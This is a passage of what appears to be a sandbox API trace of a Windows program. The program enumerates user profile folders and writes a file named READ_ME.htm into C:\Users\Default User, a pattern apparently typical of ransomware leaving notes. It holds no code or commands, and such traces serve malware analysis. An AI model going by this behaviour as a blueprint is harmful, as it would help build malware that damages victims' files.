(uMode=0x1) returned 0x0 [0144.001] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\*" (normalized: "c:\\users\\default user\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0144.014] SetErrorMode (uMode=0x0) returned 0x1 [0144.016] GetFullPathNameW (in: lpFileName="C:\\Users\\Default User\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default User\\READ_ME.htm", lpFilePart=0x0) returned 0x21 [0144.016] SetErrorMode (uMode=0x1) returned 0x0 [0144.016] CreateFileW (lpFileName="C:\\Users\\Default User\\READ_ME.htm" (normalized: "c:\\users\\default user\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0144.017] GetFileType (hFile=0x1d0) returned 0x1 [0144.017] SetErrorMode (uMode=0x0) returned 0x1 [0144.017] GetFileType (hFile=0x1d0) returned 0x1 [0144.018] WriteFile (in: hFile=0x1d0, lpBuffer=0x28d2f00*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d5d8, lpOverlapped=0x0 | out: lpBuffer=0x28d2f00*, lpNumberOfBytesWritten=0x21d5d8*=0x720, lpOverlapped=0x0) returned 1 [0144.019] CloseHandle (hObject=0x1d0) returned 1 [0144.019] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0144.019] SetErrorMode (uMode=0x1) returned 0x0 [0144.019] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\*" (normalized: "c:\\users\\keecfmwgj\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x791634f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xf29f86d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf29f86d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.020] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x791634f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xf29f86d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf29f86d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.020] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79698510, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0144.020] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d70450, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d70450, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d70450, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0144.020] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7f6e20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0144.020] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d70450, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d70450, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d70450, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0144.020] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x2e1da180, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x2e1da180, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0144.021] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xcef98b90, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xcef98b90, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0144.021] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e833eb0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0144.021] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7fbc40, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0144.021] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xf2ab6db0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2ab6db0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0144.021] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d965b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d965b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d965b0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0144.021] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xce6394f0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xce6394f0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0144.022] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d4a2f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d4a2f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d4a2f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0144.022] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d70450, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d70450, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d70450, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0144.022] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x791af7b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x8910dce0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x51ce78c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0144.022] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x79bf3690, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79bf3690, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x51ce78c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0144.022] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x79bf3690, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79bf3690, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79bf3690, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0144.022] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x79bf3690, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79bf3690, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x9151ca20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0144.022] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x79c197f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79c197f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x9151ca20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0144.023] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x79c3f950, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79c3f950, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x9151ca20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0144.023] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x7945d070, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7945d070, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0144.023] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xf29f86d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2a44990, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2a44990, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OneDrive", cAlternateFileName="")) returned 1 [0144.023] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xce8c0c50, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xce8c0c50, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0144.023] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d70450, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d70450, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d70450, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0144.023] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d70450, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d70450, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d70450, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0144.023] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8847c0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0144.024] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79992090, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e82f090, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0144.024] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d965b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d965b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d965b0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0144.024] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d965b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d965b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d965b0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0144.024] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d965b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d965b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d965b0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0144.024] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794831d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xcea178b0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xcea178b0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0144.024] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794831d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xcea178b0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xcea178b0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0144.024] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.024] SetErrorMode (uMode=0x0) returned 0x1 [0144.025] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0144.025] SetErrorMode (uMode=0x1) returned 0x0 [0144.025] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\*" (normalized: "c:\\users\\keecfmwgj\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x791634f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xf29f86d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf29f86d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.025] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x791634f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xf29f86d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf29f86d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.025] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79698510, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0144.025] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d70450, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d70450, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d70450, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0144.026] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7f6e20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0144.026] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d70450, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d70450, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d70450, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0144.026] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x2e1da180, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x2e1da180, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0144.026] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xcef98b90, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xcef98b90, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0144.038] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e833eb0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0144.038] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7fbc40, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, 